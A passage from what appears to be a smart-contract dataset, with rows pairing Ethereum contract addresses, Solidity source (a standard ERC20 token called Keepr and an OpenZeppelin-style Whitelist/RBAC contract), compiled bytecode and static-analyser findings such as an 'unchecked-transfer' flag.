157610100808354040283529160200191610b6c565b820191906000526020600020905b815481529060010190602001808311610b4f57829003601f168201915b50505050509350828054610b7f90611809565b80601f0160208091040260200160405190810160405280929190818152602001828054610bab90611809565b8015610bf85780601f10610bcd57610100808354040283529160200191610bf8565b820191906000526020600020905b815481529060010190602001808311610bdb57829003601f168201915b50505050509250818054610c0b90611809565b80601f0160208091040260200160405190810160405280929190818152602001828054610c3790611809565b8015610c845780601f10610c5957610100808354040283529160200191610c84565b820191906000526020600020905b815481529060010190602001808311610c6757829003601f168201915b50505050509150808054610c9790611809565b80601f0160208091040260200160405190810160405280929190818152602001828054610cc390611809565b8015610d105780601f10610ce557610100808354040283529160200191610d10565b820191906000526020600020905b815481529060010190602001808311610cf357829003601f168201915b505050505090509b509b509b509b509b509b5050505050505091939550919395565b600681600481106104cd57600080fd5b6000806000806000806163608710610d6c5760405162461bcd60e51b815260040161034890611743565b600e54604051630869624160e31b8152610dee916001600160a01b03169063434b120890610d9e908b906004016117d0565b60206040518083038186803b158015610db657600080fd5b505afa158015610dca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102c0919061144e565b949c939b5091995097509550909350915050565b6000610d248211610e1657506107e1610424565b6116338211610e2857506107e2610424565b61167a8211610e3a57506107e3610424565b61167d8211610e4c57506107e4610424565b506107e5610424565b6000808080808060d887901c60f888901c801580610e7657508060ff1660ff145b610e925760405162461bcd60e51b815260040161034890611713565b60ff80821614975062ffffff601083901c1663ffffffff600884901c16838a1580610edb575060ff8316158015610ecc57508160ff16600c145b8015610edb57508060ff1660a7145b610ef75760405162461bcd60e51b815260040161034890611771565b6001601f86901c81161499508a15610f465761ffff601886901c166000610f1f600283611870565b60ff16159050808015610f2f57508b5b80610f41575080158015610f4157508b155b9b5050505b50989a979950506001601e83901c169750506003601c82901c811696601a83901c8216965060189290921c169350915050565b600281600481106104cd57600080fd5b600e546040516311ff2bf560e31b81526060916000916001600160a01b0390911690638ff95fa890610fbf9086906004016116b2565b60206040518083038186803b158015610fd757600080fd5b505afa158015610feb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061100f919061141a565b905060005b60208160ff161080156110565750818160ff166020811061104557634e487b7160e01b600052603260045260246000fd5b1a60f81b6001600160f81b03191615155b1561106d578061106581611844565b915050611014565b60008160ff1667ffffffffffffffff81111561109957634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156110c3576020820181803683370190505b509050600091505b60208260ff1610801561110d5750828260ff16602081106110fc57634e487b7160e01b600052603260045260246000fd5b1a60f81b6001600160f81b03191615155b1561118557828260ff166020811061113557634e487b7160e01b600052603260045260246000fd5b1a60f81b818360ff168151811061115c57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a9053508161117d81611844565b9250506110cb565b949350505050565b600061636082106111b05760405162461bcd60e51b815260040161034890611743565b600e54604051630869624160e31b81526001600160a01b039091169063434b1208906111e09085906004016117d0565b60206040518083038186803b1580156111f857600080fd5b505afa15801561120c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610421919061144e565b6011546001600160a01b0316331461125a5760405162461bcd60e51b81526004016103489061179d565b601180546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03811660009081526010602052604081205460ff16156112d4576112cd83836001600160a01b0316636352211e866040518263ffffffff1660e01b815260040161091b91906117d0565b90506112d7565b50805b92915050565b600082601f8301126112ed578081fd5b815167ffffffffffffffff808211156113085761130861189e565b604051601f8301601f19908116603f011681019082821181831017156113305761133061189e565b81604052838152866020858801011115611348578485fd5b6113598460208301602089016117d9565b9695505050505050565b600060208284031215611374578081fd5b8135610970816118b4565b600060208284031215611390578081fd5b8151610970816118b4565b600080604083850312156113ad578081fd5b82356113b8816118b4565b915060208301356113c8816118cc565b809150509250929050565b600080604083850312156113e5578182fd5b82356113f0816118b4565b946020939093013593505050565b60006020828403121561140f578081fd5b8151610970816118cc565b60006020828403121561142b578081fd5b5051919050565b600060208284031215611443578081fd5b8135610970816118da565b60006020828403121561145f578081fd5b8151610970816118da565b60008060006060848603121561147e578081fd5b835167ffffffffffffffff80821115611495578283fd5b6114a1878388016112dd565b945060208601519150808211156114b6578283fd5b6114c2878388016112dd565b935060408601519150808211156114d7578283fd5b506114e4868287016112dd565b9150509250925092565b6000602082840312156114ff578081fd5b5035919050565b6000815180845261151e8160208601602086016117d9565b601f01601f19169290920160200192915050565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b60008715158252861515602083015260c060408301526115a660c0830187611506565b82810360608401526115b88187611506565b905082810360808401526115cc8186611506565b905082810360a08401526115e08185611506565b9998505050505050505050565b60006101208b151583528a151560208401528060408401526116118184018b611506565b90508281036060840152611625818a611506565b905082810360808401526116398189611506565b905082810360a084015261164d8188611506565b6001600160d81b03199690961660c0840152505061ffff9290921660e08301521515610100909101529695505050505050565b9515158652931515602086015260ff92831660408601529082166060850152811660808401521660a082015260c00190565b6001600160d81b031991909116815260200190565b6000602082526109706020830184611506565b6000606082526116ed6060830186611506565b82810360208401526116ff8186611506565b905082810360408401526113598185611506565b60208082526016908201527524b73b30b634b21021b630b9b9b4b334b1b0ba34b7b760511b604082015260600190565b60208082526014908201527324b73b30b634b2102932b9b1bab29027b93232b960611b604082015260600190565b602080825260129082015271125b9d985b1a590811d95b995cda5cc8125960721b604082015260600190565b6020808252600a908201526927b7363c9027bbb732b960b11b604082015260600190565b61ffff91909116815260200190565b90815260200190565b60005b838110156117f45781810151838201526020016117dc565b83811115611803576000848401525b50505050565b60028104600182168061181d57607f821691505b6020821081141561183e57634e487b7160e01b600052602260045260246000fd5b50919050565b600060ff821660ff81141561186757634e487b7160e01b82526011600452602482fd5b60010192915050565b600060ff83168061188f57634e487b7160e01b82526012600452602482fd5b8060ff84160691505092915050565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146118c957600080fd5b50565b80151581146118c957600080fd5b6001600160d81b0319811681146118c957600080fdfea2646970667358221220ca5247996b5c3eb3cbf502ae39079b7550a8d37d84fd7ef2887052c433fea02864736f6c63430008010033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,169
0xcbaa035f46a8b523a41079dd8e05c9b46354130a
//SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract Keepr is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name = "Keepr"; string private _symbol = "KPR"; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(uint256 supply_, address destination) { _totalSupply = supply_; _mint(destination, supply_); } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610c3e565b60405180910390f35b6100e660048036038101906100e19190610cf9565b610308565b6040516100f39190610d54565b60405180910390f35b610104610326565b6040516101119190610d7e565b60405180910390f35b610134600480360381019061012f9190610d99565b610330565b6040516101419190610d54565b60405180910390f35b610152610428565b60405161015f9190610e08565b60405180910390f35b610182600480360381019061017d9190610cf9565b610431565b60405161018f9190610d54565b60405180910390f35b6101b260048036038101906101ad9190610e23565b6104dd565b6040516101bf9190610d7e565b60405180910390f35b6101d0610525565b6040516101dd9190610c3e565b60405180910390f35b61020060048036038101906101fb9190610cf9565b6105b7565b60405161020d9190610d54565b60405180910390f35b610230600480360381019061022b9190610cf9565b6106a2565b60405161023d9190610d54565b60405180910390f35b610260600480360381019061025b9190610e50565b6106c0565b60405161026d9190610d7e565b60405180910390f35b60606003805461028590610ebf565b80601f01602080910402602001604051908101604052809291908181526020018280546102b190610ebf565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610747565b848461074f565b6001905092915050565b6000600254905090565b600061033d84848461091a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90610f63565b60405180910390fd5b61041c85610414610747565b85840361074f565b60019150509392505050565b60006012905090565b60006104d361043e610747565b84846001600061044c610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104ce9190610fb2565b61074f565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053490610ebf565b80601f016020809104026020016040519081016040528092919081815260200182805461056090610ebf565b80156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b5050505050905090565b600080600160006105c6610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067a9061107a565b60405180910390fd5b61069761068e610747565b8585840361074f565b600191505092915050565b60006106b66106af610747565b848461091a565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b69061110c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561082f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108269061119e565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161090d9190610d7e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561098a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098190611230565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f1906112c2565b60405180910390fd5b610a05838383610b9b565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8290611354565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b1e9190610fb2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b829190610d7e565b60405180910390a3610b95848484610ba0565b50505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610bdf578082015181840152602081019050610bc4565b83811115610bee576000848401525b50505050565b6000601f19601f8301169050919050565b6000610c1082610ba5565b610c1a8185610bb0565b9350610c2a818560208601610bc1565b610c3381610bf4565b840191505092915050565b60006020820190508181036000830152610c588184610c05565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610c9082610c65565b9050919050565b610ca081610c85565b8114610cab57600080fd5b50565b600081359050610cbd81610c97565b92915050565b6000819050919050565b610cd681610cc3565b8114610ce157600080fd5b50565b600081359050610cf381610ccd565b92915050565b60008060408385031215610d1057610d0f610c60565b5b6000610d1e85828601610cae565b9250506020610d2f85828601610ce4565b9150509250929050565b60008115159050919050565b610d4e81610d39565b82525050565b6000602082019050610d696000830184610d45565b92915050565b610d7881610cc3565b82525050565b6000602082019050610d936000830184610d6f565b92915050565b600080600060608486031215610db257610db1610c60565b5b6000610dc086828701610cae565b9350506020610dd186828701610cae565b9250506040610de286828701610ce4565b9150509250925092565b600060ff82169050919050565b610e0281610dec565b82525050565b6000602082019050610e1d6000830184610df9565b92915050565b600060208284031215610e3957610e38610c60565b5b6000610e4784828501610cae565b91505092915050565b60008060408385031215610e6757610e66610c60565b5b6000610e7585828601610cae565b9250506020610e8685828601610cae565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680610ed757607f821691505b60208210811415610eeb57610eea610e90565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000610f4d602883610bb0565b9150610f5882610ef1565b604082019050919050565b60006020820190508181036000830152610f7c81610f40565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000610fbd82610cc3565b9150610fc883610cc3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610ffd57610ffc610f83565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611064602583610bb0565b915061106f82611008565b604082019050919050565b6000602082019050818103600083015261109381611057565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006110f6602483610bb0565b91506111018261109a565b604082019050919050565b60006020820190508181036000830152611125816110e9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611188602283610bb0565b91506111938261112c565b604082019050919050565b600060208201905081810360008301526111b78161117b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061121a602583610bb0565b9150611225826111be565b604082019050919050565b600060208201905081810360008301526112498161120d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006112ac602383610bb0565b91506112b782611250565b604082019050919050565b600060208201905081810360008301526112db8161129f565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061133e602683610bb0565b9150611349826112e2565b604082019050919050565b6000602082019050818103600083015261136d81611331565b905091905056fea2646970667358221220551f925b9bb313737124ad7eaa765b3a30b21bc42698b37e7599251ea7aeafa764736f6c634300080a0033
{"success": true, "error": null, "results": {}}
7,170
0xb08e657b0da89f2d7235d56f04a4ac3fed597d2a
pragma solidity ^0.4.24; // produced by the Solididy File Flattener (c) David Appleton 2018 // contact : dave@akomba.com // released under Apache 2.0 licence library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an address access to this role */ function add(Role storage role, address addr) internal { role.bearer[addr] = true; } /** * @dev remove an address' access to this role */ function remove(Role storage role, address addr) internal { role.bearer[addr] = false; } /** * @dev check if an address has this role * // reverts */ function check(Role storage role, address addr) view internal { require(has(role, addr)); } /** * @dev check if an address has this role * @return bool */ function has(Role storage role, address addr) view internal returns (bool) { return role.bearer[addr]; } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract RBAC { using Roles for Roles.Role; mapping (string => Roles.Role) private roles; event RoleAdded(address addr, string roleName); event RoleRemoved(address addr, string roleName); /** * @dev reverts if addr does not have role * @param addr address * @param roleName the name of the role * // reverts */ function checkRole(address addr, string roleName) view public { roles[roleName].check(addr); } /** * @dev determine if addr has role * @param addr address * @param roleName the name of the role * @return bool */ function hasRole(address addr, string roleName) view public returns (bool) { return roles[roleName].has(addr); } /** * @dev add a role to an address * @param addr address * @param roleName the name of the role */ function addRole(address addr, string roleName) internal { roles[roleName].add(addr); emit RoleAdded(addr, roleName); } /** * @dev remove a role from an address * @param addr address * @param roleName the name of the role */ function removeRole(address addr, string roleName) internal { roles[roleName].remove(addr); emit RoleRemoved(addr, roleName); } /** * @dev modifier to scope access to a single role (uses msg.sender as addr) * @param roleName the name of the role * // reverts */ modifier onlyRole(string roleName) { checkRole(msg.sender, roleName); _; } /** * @dev modifier to scope access to a set of roles (uses msg.sender as addr) * @param roleNames the names of the roles to scope access to * // reverts * * @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this * see: https://github.com/ethereum/solidity/issues/2467 */ // modifier onlyRoles(string[] roleNames) { // bool hasAnyRole = false; // for (uint8 i = 0; i < roleNames.length; i++) { // if (hasRole(msg.sender, roleNames[i])) { // hasAnyRole = true; // break; // } // } // require(hasAnyRole); // _; // } } contract Whitelist is Ownable, RBAC { event WhitelistedAddressAdded(address addr); event WhitelistedAddressRemoved(address addr); string public constant ROLE_WHITELISTED = "whitelist"; /** * @dev Throws if called by any account that's not whitelisted. */ modifier onlyWhitelisted() { checkRole(msg.sender, ROLE_WHITELISTED); _; } /** * @dev add an address to the whitelist * @param addr address * @return true if the address was added to the whitelist, false if the address was already in the whitelist */ function addAddressToWhitelist(address addr) onlyOwner public { addRole(addr, ROLE_WHITELISTED); emit WhitelistedAddressAdded(addr); } /** * @dev getter to determine if address is in whitelist */ function whitelist(address addr) public view returns (bool) { return hasRole(addr, ROLE_WHITELISTED); } /** * @dev add addresses to the whitelist * @param addrs addresses * @return true if at least one address was added to the whitelist, * false if all addresses were already in the whitelist */ function addAddressesToWhitelist(address[] addrs) onlyOwner public { for (uint256 i = 0; i < addrs.length; i++) { addAddressToWhitelist(addrs[i]); } } /** * @dev remove an address from the whitelist * @param addr address * @return true if the address was removed from the whitelist, * false if the address wasn't in the whitelist in the first place */ function removeAddressFromWhitelist(address addr) onlyOwner public { removeRole(addr, ROLE_WHITELISTED); emit WhitelistedAddressRemoved(addr); 